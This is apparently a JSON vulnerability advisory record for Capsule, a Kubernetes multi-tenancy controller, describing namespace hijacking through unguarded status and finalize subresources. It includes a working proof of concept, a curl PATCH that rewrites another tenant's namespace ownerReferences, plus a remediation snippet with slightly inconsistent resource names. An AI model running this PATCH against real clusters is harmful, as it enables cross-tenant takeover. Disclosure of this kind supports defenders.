{"id":"CVE-2026-30963","aliases":["GHSA-2ww6-hf35-mfjm","GO-2026-5043"],"url":"https://o3.security/vulnerability/CVE-2026-30963","summary":"Capsule Namespace Hijacking via subresource","details":"### Summary\nTo defend against namespace hijacking achieved through update/patch operations on namespaces, Capsule uses a webhook to validate update requests targeting namespaces. However, in Kubernetes, the namespace/finalize and namespace/status subresource APIs can also modify various fields of a namespace, including the metadata field. The webhook does not define interception rules for these subresources. As a result, if a tenant administrator has permission to modify namespace/status or namespace/finalize, they can successfully perform namespace hijacking.\n\n### Details\nWhen Capsule uses a ValidatingWebhookConfiguration to intercept changes to namespace resources, it does not intercept modification requests initiated through namespace subresource APIs (see: https://github.com/projectcapsule/capsule/blob/main/charts/capsule/templates/validatingwebhookconfiguration.yaml#L193). Through subresource APIs, it is still possible to modify the metadata field of a namespace resource, enabling hijacking.\n\n### PoC\nOpen two terminals and create two tenants:\n```\nkubectl create -f - << EOF\napiVersion: capsule.clastix.io/v1beta2\nkind: Tenant\nmetadata:\n  name: oil\nspec:\n  owners:\n  - name: alice\n    kind: User\nEOF\n\n./hack/create-user.sh alice solar\nexport KUBECONFIG=alice-solar.kubeconfig\nkubectl create namespace solar-production # alice creates the namespace\n```\n\n```\nkubectl create -f - << EOF\napiVersion: capsule.clastix.io/v1beta2\nkind: Tenant\nmetadata:\n  name: attacker\nspec:\n  owners:\n  - name: attacker\n    kind: User\nEOF\n\n./hack/create-user.sh attacker attacker\nexport KUBECONFIG=attacker-attacker.kubeconfig\n```\n\nWhen the attacker has permission to modify namespace/status or namespace/finalize, they can hijack other namespaces. Here we grant the attacker the relevant permissions:\n```\nkubectl create clusterrole status --verb=patch --resource=namespaces/status\nkubectl create clusterrolebinding status --clusterrole=status --user=attacker\n```\nThe attacker then sends a PATCH request to namespace/status to hijack the namespace created by alice:\n```\ncurl -k --cert ./attacker-attacker.crt --key attacker-attacker.key --request PATCH 'https://192.168.201.12:6443/api/v1/namespaces/solar-production/status' \\\n--header 'Content-Type: application/json-patch+json' \\\n--data '[\n    {\n      \"op\": \"replace\",\n      \"path\": \"/metadata/ownerReferences\",\n      \"value\": [\n        {\n          \"apiVersion\": \"capsule.clastix.io/v1beta2\",\n            \"kind\": \"Tenant\",\n            \"name\": \"attacker\",\n            \"uid\": \"1fcb9c9b-b552-4974-a248-32be66a2188c\"\n        }\n      ]\n    }\n  ]'\n```\n\n### Impact\nhijack namespace\n\n### Remediation\nTo mitigate this issue, add the following two subresources to the resources list in the ValidatingWebhookConfiguration rules:\n```\n    resources:\n    - namespaces\n    - namespaces/status\n\t- namespace/finalize\n```","published":"2026-06-01T18:00:43.797Z","modified":"2026-08-12T03:51:09.094629282Z","cvss":{"score":3.9,"severity":"LOW","vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L"},"epss":{"score":0.00219,"percentile":0.12511,"asOf":"2026-09-17"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Go","name":"github.com/projectcapsule/capsule","fixedVersion":"0.13.0"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/projectcapsule/capsule/releases/tag/v0.13.0"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/30xxx/CVE-2026-30963.json"},{"type":"ADVISORY","url":"https://github.com/projectcapsule/capsule/security/advisories/GHSA-2ww6-hf35-mfjm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-30963"},{"type":"PACKAGE","url":"https://github.com/projectcapsule/capsule"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:09.094629282Z"}}